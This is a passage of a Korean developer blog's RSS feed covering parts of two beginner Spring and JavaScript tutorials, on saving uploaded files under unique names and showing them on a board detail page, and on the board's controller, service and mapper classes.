&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dirPath : 사용자가 업로드한 파일이 서버측 디렉터리 구조에 어디에 저장될지에 대한 경로 문자열을 담고있는 변수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;random : 고유한 파일명으로 설정하기 위한 System메서드와 UUID메서드 사용 (동일한 파일이 있다면 덮어쓰기되는 문제를 방지)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;originalFilename : file이 담긴 f를 통해서 getOriginalFilename() 메서드를 사용하게 되면, 사용자가 파일을 첨부했을 때의 파일명 그대로를 담은 변수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ext : 사용자가 담은 파일의 확장명을 구분하기 위한 변수로 xxxx.png 라고 할 때, split메서드를 통해서 배열로 나누고 맨 마지막 인덱스 ( 확장자명)을 담고있는 변수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;changeName : 설정한 난수와 확장자 명을 합쳐서 만든 고유 파일명&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;originalFilename : 사용자가 파일을 업로드 할 때의 파일명&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;new File() 생성자를 통해서 생성자 파라미터로 dirPath(절대경로) + changeName(고유파일명)과 같이 설정하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 경로에 고유한 파일을 생성하고 해당 파일을 가르키는 객체를 생성한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 사용자가 첨부한&amp;nbsp; 파일 f에 .transferTo() 메서드로 targetFile을 담아주게 되면 비어있던 파일에 내용이 담기게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;386&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D6k2T/btsOOwaS43b/hgN5xLeK5KGLgGKNXBj3Fk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D6k2T/btsOOwaS43b/hgN5xLeK5KGLgGKNXBj3Fk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D6k2T/btsOOwaS43b/hgN5xLeK5KGLgGKNXBj3Fk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD6k2T%2FbtsOOwaS43b%2FhgN5xLeK5KGLgGKNXBj3Fk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;386&quot; height=&quot;413&quot; data-origin-width=&quot;386&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vo에 따로 입력해주지 않은 오지리널 파일명이나 변환파일명을 setter를 통해서 입력해주고 로그인은 구현하지 않았으므로 임의의 작성자 번호를 따로 설정해주었다. 해당 vo객체를 통해서 게시물 등록 쿼리문을 실행하여 게시물 내용을 등록해주고 결과를 result로 반환한다. 쿼리문 결과 그리고 결과에 대한 메세지를 담아주기위해서 Hashmap을 통해서 두 데이터 모두 data와 status로 담아주고 map을 js로 응답한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;489&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFZMqO/btsOMmgAixg/6NXFNmlX23ZZUrjILuwov1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFZMqO/btsOMmgAixg/6NXFNmlX23ZZUrjILuwov1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFZMqO/btsOMmgAixg/6NXFNmlX23ZZUrjILuwov1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFZMqO%2FbtsOMmgAixg%2F6NXFNmlX23ZZUrjILuwov1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;489&quot; height=&quot;313&quot; data-origin-width=&quot;489&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;json() 메서드를 통해서 서버로 부터 받은 resp에 대해 데이터파싱을 통해 map형태로 되돌려 놓고 해당 map.data를 통해서 정상적으로 쿼리문이 실행되었는지 확인하고 정상적으로 실행되었다면 map.status를 알림창으로 띄워주고 오류가 있다면 .catch을 통해서 처리하도록 하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;779&quot; data-origin-height=&quot;263&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clvLFi/btsOOyzNYOG/I5r0bKf8SuUH8F3a0ixVqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clvLFi/btsOOyzNYOG/I5r0bKf8SuUH8F3a0ixVqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clvLFi/btsOOyzNYOG/I5r0bKf8SuUH8F3a0ixVqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclvLFi%2FbtsOOyzNYOG%2FI5r0bKf8SuUH8F3a0ixVqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;779&quot; height=&quot;263&quot; data-origin-width=&quot;779&quot; data-origin-height=&quot;263&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;board/insert 요청을 통해 리다이렉트 된 게시글 작성 페이지에서 제목과 내용 그리고 파일을 선택해서 게시글을 작성하게 되면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 설명한 insert() 로직이 모두 작동하게 된다. 올바르게 쿼리문이 작동했음을 알려주는 알림창이 뜨게되고 아까 설정한 경로에 고유한 이름을 가지도록 설정한 랜덤파일명으로 파일이 서버(스프링)측 디렉토리에 저장되었을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;62&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbe6QK/btsOOgTHlrY/uRReIkR6V5SNF4QxF2TH0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbe6QK/btsOOgTHlrY/uRReIkR6V5SNF4QxF2TH0k/img.png&quot; data-alt=&quot;DB에 담긴 게시물 데이터&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbe6QK/btsOOgTHlrY/uRReIkR6V5SNF4QxF2TH0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbbe6QK%2FbtsOOgTHlrY%2FuRReIkR6V5SNF4QxF2TH0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1195&quot; height=&quot;62&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;62&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DB에 담긴 게시물 데이터&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;197&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2eMzW/btsOM2BYxWM/S2LQ4m2f41qW8onIIq3TEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2eMzW/btsOM2BYxWM/S2LQ4m2f41qW8onIIq3TEK/img.png&quot; data-alt=&quot;경로에 저장된 파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2eMzW/btsOM2BYxWM/S2LQ4m2f41qW8onIIq3TEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2eMzW%2FbtsOM2BYxWM%2FS2LQ4m2f41qW8onIIq3TEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;197&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;197&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;경로에 저장된 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #080808;&quot;&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;String random = System.currentTimeMillis() + &quot;_&quot; +UUID.randomUUID().toString();&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 설정한 시간값, 랜덤한 문자를 통해서 만들어진 이름과 사용자가 업로드한 파일과 동일한 확장명으로 파일이 저장된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 해당 파일을 상세페이지에서 보여주도록 포워딩 해주어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상세페이지를 포워딩해주고, js파일을 바로 실행시키면서 fetch() 함수를 통해서 db에 포워딩된 페이지 글번호 를 통해 db를 참조하여 어떤 제목, 내용 그리고 어떤 파일이 담겨있는지 페이지를 채워주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;317&quot; data-origin-height=&quot;98&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWMjyb/btsOMIX0I7J/yIawDsQszK3LXk5vm7mTek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWMjyb/btsOMIX0I7J/yIawDsQszK3LXk5vm7mTek/img.png&quot; data-alt=&quot;BoardController detail()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWMjyb/btsOMIX0I7J/yIawDsQszK3LXk5vm7mTek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWMjyb%2FbtsOMIX0I7J%2FyIawDsQszK3LXk5vm7mTek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;317&quot; height=&quot;98&quot; data-origin-width=&quot;317&quot; data-origin-height=&quot;98&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardController detail()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 어떤 board/detail/*로 @RequestMapping 어노테이션에 파라미터를 설정하여 *부분에 어떤 글번호가 오더라도 일단 detail 페이지.jsp를 포워딩하도록 작성하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;524&quot; data-origin-height=&quot;382&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lb6mP/btsOPndt21g/ZKnNBN2WacaBVFCbEFjq3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lb6mP/btsOPndt21g/ZKnNBN2WacaBVFCbEFjq3k/img.png&quot; data-alt=&quot;BoardApiController detail()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lb6mP/btsOPndt21g/ZKnNBN2WacaBVFCbEFjq3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flb6mP%2FbtsOPndt21g%2FZKnNBN2WacaBVFCbEFjq3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;524&quot; height=&quot;382&quot; data-origin-width=&quot;524&quot; data-origin-height=&quot;382&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardApiController detail()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@RequestMapping으로 해당 ApiController 클래스 전체가 요청 api/board 키워드로 묶여있으므로, 해당 detail 메서드가 실행되기 위해서는 메서드 파라미터에 적힌 경로변수 참조 어노테이션으로 api/board/${no} 라는 요청이 왔을때 해당 메서드가 실행되고 no가 해당 메서드에 사용된다. 동일하게 no라는 글번호가 어떤 내용을 담고있는지 Select 쿼리문을 실행하게 되고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과로 글 전체 내용을 담고있는 BoardVo 객체 vo와 결과상태를 나타내는 두가지 값을 map을 통해서 반환하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;588&quot; data-origin-height=&quot;629&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCdITF/btsOOfAu331/ahuk9ELvWI3faCRnxy5YN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCdITF/btsOOfAu331/ahuk9ELvWI3faCRnxy5YN0/img.png&quot; data-alt=&quot;detail.jsp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCdITF/btsOOfAu331/ahuk9ELvWI3faCRnxy5YN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCdITF%2FbtsOOfAu331%2Fahuk9ELvWI3faCRnxy5YN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;588&quot; height=&quot;629&quot; data-origin-width=&quot;588&quot; data-origin-height=&quot;629&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;detail.jsp&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예전 글에서 상세보기 페이지를 만든것과 동일하다 해당 js코드에서는 detail이 포워딩 됨과 동시에 함수가 실행될 수 있도록 맨 아래 selectBoardOne(no)를 호출하며, no는 url에 맨 마지막에 기입하려는 경로변수에 오는 글번호를 서버에 전달한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 글번호를 통해서 아까 BoardApiController에 있는 Select 쿼리를 통해 글정보를 꺼내오고 응답받은 map.data에 해당 객체가 담기게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;251&quot; data-origin-height=&quot;155&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mvrYd/btsON6cMxXv/fD2XUXpvmkq0KOHnq532l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mvrYd/btsON6cMxXv/fD2XUXpvmkq0KOHnq532l0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mvrYd/btsON6cMxXv/fD2XUXpvmkq0KOHnq532l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmvrYd%2FbtsON6cMxXv%2FfD2XUXpvmkq0KOHnq532l0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;251&quot; height=&quot;155&quot; data-origin-width=&quot;251&quot; data-origin-height=&quot;155&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버측에 static 하위 폴더에 upload 폴더에 저장되었던 사용자 업로드 파일을 img 태그를 통해서 src 속성을 통해 경로를 설정해 주면 된다. 경로는 절대경로가 아니므로 original 경로 필드를 사용하는 것이 아니라, 8080이라는 스프링 서버를 기준으로 어느 폴더에 어떤 파일명과 확장자로 존재하는지를 적어주기 위해&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;480&quot; data-origin-height=&quot;32&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5qhq9/btsOOvpyprT/jeFwjwyYXS5mQOWexBD53k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5qhq9/btsOOvpyprT/jeFwjwyYXS5mQOWexBD53k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5qhq9/btsOOvpyprT/jeFwjwyYXS5mQOWexBD53k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5qhq9%2FbtsOOvpyprT%2FjeFwjwyYXS5mQOWexBD53k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;32&quot; data-origin-width=&quot;480&quot; data-origin-height=&quot;32&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 적어줄 수 있다. 스프링에서 resources폴더 아래 static 폴더가 정적파일이 들어있는 폴더 기준이 되므로 하위 update폴더 내에 파일명과 확장자를 기입해둔 필드 data.cahageName을 EL로 참조하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;382&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSMwrG/btsOPbxrgPt/p7jyXqfVk7PQnVBkUqsUKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSMwrG/btsOPbxrgPt/p7jyXqfVk7PQnVBkUqsUKK/img.png&quot; data-alt=&quot;서버 내부디렉토리를 통해서 이미지를 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSMwrG/btsOPbxrgPt/p7jyXqfVk7PQnVBkUqsUKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSMwrG%2FbtsOPbxrgPt%2Fp7jyXqfVk7PQnVBkUqsUKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;382&quot; height=&quot;717&quot; data-origin-width=&quot;382&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;서버 내부디렉토리를 통해서 이미지를 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 올바르게 이미지 경로가 img 태그 내에 src 속성값으로 설정되어 이미지가 출력되는 결과를 볼 수 잇다.&lt;/p&gt;</description>
      <category>Spring</category>
      <author>jongh0</author>
      <guid isPermaLink="true">https://dev-jong.tistory.com/21</guid>
      <comments>https://dev-jong.tistory.com/21#entry21comment</comments>
      <pubDate>Mon, 23 Jun 2025 20:24:43 +0900</pubDate>
    </item>
    <item>
      <title>[Spring + Javascript] fetch()를 활용한 api방식 웹페이지 기초 (3)</title>
      <link>https://dev-jong.tistory.com/20</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;해당 게시물에서는 게시판 CRUD 작업과 게시판에 각각의 게시물 페이지 포워딩 방식에 대해서 설명하려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;[클래스 구성]&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BoardApiController - 자바스크립트에 fetch() 함수 요청에 대한 CRUD 작업 및 응답을 담당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BoardController - 단순하게 페이지 포워딩을 위한 컨트롤러&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BoardService - Mapper에서 다룰 mybatis sql 구문 들의 트랜잭션 처리를 담당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BoardMapper - mybatis를 활용한 sql 구문 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BoardVo - DB 테이블에 담긴 컬럼형식을 필드로 담고있고, lombok을 통해 캡슐화가 진행될 클래스&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;304&quot; data-origin-height=&quot;99&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dj4NNn/btsOKknJWYZ/jLFUFGdKeLKrtR7trbW6F1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dj4NNn/btsOKknJWYZ/jLFUFGdKeLKrtR7trbW6F1/img.png&quot; data-alt=&quot;BoardApiController 클래스의 어노테이션&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dj4NNn/btsOKknJWYZ/jLFUFGdKeLKrtR7trbW6F1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdj4NNn%2FbtsOKknJWYZ%2FjLFUFGdKeLKrtR7trbW6F1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;304&quot; height=&quot;99&quot; data-origin-width=&quot;304&quot; data-origin-height=&quot;99&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardApiController 클래스의 어노테이션&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;해당 클래스에서는 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;@RestController&lt;/span&gt; 어노테이션으로 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;@Controller + @ResponseBody&lt;/span&gt; 기능을 합친 어노테이션이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;의존성 주입(DI)&lt;/span&gt; 에 있어서 Controller임을 명시하고, ResponseBody는 브라우저로 부터 요청이 왔을 때, 응답을 페이지 포워딩, 리다이렉트 방식이 아닌 데이터를 JSON 형식으로 반환하는 어노테이션이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;@RequestMapping&lt;/span&gt;을 통해서 해당 클래스 내에서 사용되는 Mapping 어노테이션에 대해 api/board 키워드를 묶어주고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;@RequiredArgConstructor&lt;/span&gt;를 통해서 Service 클래스와의 의존성 주입 방식에 사용되는 생성자를 자동으로 실행시켜준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
